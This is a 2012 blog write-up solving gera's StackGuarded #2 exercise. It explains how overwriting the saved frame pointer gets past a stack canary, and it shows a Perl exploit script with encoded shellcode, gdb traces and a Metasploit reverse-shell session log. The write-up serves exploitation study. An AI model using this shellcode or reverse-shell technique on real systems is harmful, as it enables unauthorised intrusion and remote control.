Thursday, July 12, 2012

StackGuarded #2

Here's my solution to gera's StackGuarded #2, same caveats as StackGuarded #1 apply.

/* sg2.c                                                   *
 *  * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
   char buf[80];
   strcpy(buf,msg);
}

int main(int argv, char** argc) {
   func(argc[1]);
}

The stack for this one looks something like

char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
func's saved frame pointer address
char buf[80]

The key here is noticing that the canary does not protect the saved frame pointer (ebp) on the stack and it can be overwritten.

From my notes on Advanced Windows Buffer Overflows: awbo5, func's function epilog will do something like:

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn


I will use the strcpy to overflow buf and overwrite func's saved frame pointer to point 4 bytes before the shellcode (which is loaded in the process's environment.) Once ebp is popped from the stack, the stack pointer will point at the start of my shellcode. ret will pop the next address off the stack and start executing instructions from there.

#!/usr/bin/perl

my $nops = "\x90" x 21;

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# the ret will load 0xbffffc53 into eip which points 4 bytes ahead into the nop slide

print "\x53\xfc\xff\xbf" . $nops . $shellcode;







[dennis@localhost sg2]$ export SG2=`perl sc.pl`
[dennis@localhost sg2]$ ./ev2
SG2 is at 0xbffffc4e


As can be seen from the comment, I prepended an address that points a few bytes into the nop slide.

Here is a gdb run down.

[dennis@localhost sg2]$ gdb sg2
...
(gdb) disas func
...
0x8048478 <func+24>:    leave 
0x8048479 <func+25>:    ret   
End of assembler dump.
(gdb) break *0x8048479
Breakpoint 1 at 0x8048479: file sg2.c, line 7.
(gdb) run `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`
Starting program: /home/dennis/sg2/sg2 `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`

Breakpoint 1, 0x08048479 in func (
    msg=0x90909090 <Address 0x90909090 out of bounds>) at sg2.c:7
7       }
(gdb) info frame
Stack level 0, frame at 0xbffffc4b:
 eip = 0x8048479 in func (sg2.c:7); saved eip 0xbffffc53
 called by frame at 0x3d324753
 source language c.
 Arglist at 0xbffffc4b, args: msg=0x90909090 <Address 0x90909090 out of bounds>
 Locals at 0xbffffc4b, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffc4b, eip at 0xbffffc4f
(gdb) x/x 0xbffffc4b + 4
0xbffffc4f:     0xbffffc53
(gdb) x/i 0xbffffc53
0xbffffc53:     nop   
(gdb)
0xbffffc54:     nop   

A breakpoint is set on func's ret. At the breakpoint, the saved ebp points to 0xbffffc4b. Adding 4 to it points to the saved eip. The saved eip points to the start of the shellcode and it's value is the jump-a-head address from above (0xbffffc53).

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:52056) at 2012-07-12 11:17:05 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg2

No comments:

Post a Comment